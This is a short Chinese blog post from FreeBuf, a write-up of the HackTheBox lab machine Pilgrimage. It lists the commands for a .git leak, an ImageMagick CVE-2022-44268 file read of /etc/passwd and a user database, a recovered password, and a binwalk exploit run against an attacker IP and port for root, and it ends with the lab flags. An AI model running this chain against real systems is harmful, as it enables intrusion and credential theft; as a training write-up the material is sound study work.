freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

[Meachines] [Easy] Pilgrimage .Git泄露+ImageMagick-LFI+binwalk-v2.3.2权限提升
2025-02-12 11:37:17
所属地 福建省

Information Gathering

IP AddressOpening Ports
10.10.11.219TCP:22,80

$ ip='10.10.11.219'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 20be60d295f628c1b7e9e81706f168f3 (RSA)
|   256 0eb6a6a8c99b4173746e70180d5fe0af (ECDSA)
|_  256 d14e293c708669b4d72cc80b486e9804 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://pilgrimage.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

.Git leak && ImageMagick 7.1.0 LFI

# echo '10.10.11.219 pilgrimage.htb'>>/etc/hosts

$ feroxbuster -u 'http://pilgrimage.htb'

image.png

http://pilgrimage.htb/

image-1.png

image-2.png

$ githack http://pilgrimage.htb/.git

$ ./magick --version

image-3.png

https://github.com/voidz0r/CVE-2022-44268

image-4.png

$ cargo run "/etc/passwd"
$ convert image.png -resize 50% output.png

image-5.png

上传图片

image-7.png
$ identify -verbose 67aadcf584baa.png

image-6.png

username:emily

$ python3 -c 'with open("hex", "rb") as f: open("dmp.db", "wb").write(bytes.fromhex(f.read().decode()))'

$ sqlite3 dmp.db

sqlite> select * from users

image-8.png

password:abigchonkyboi123

User.txt

715cf7707976d6d4f99e0b2e5c72f5ba

Privilege Escalation:binwalk v2.3.2

image-10.png

image-11.png

$ /usr/local/bin/binwalk

image-12.png

https://www.exploit-db.com/exploits/51249

$ python3 exp.py 67aadcf584baa.png 10.10.16.28 10033

image-13.png

Root.txt

d1c4c05c4039ed97c27b001ed3c8b8c8

# web安全 # CTF
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录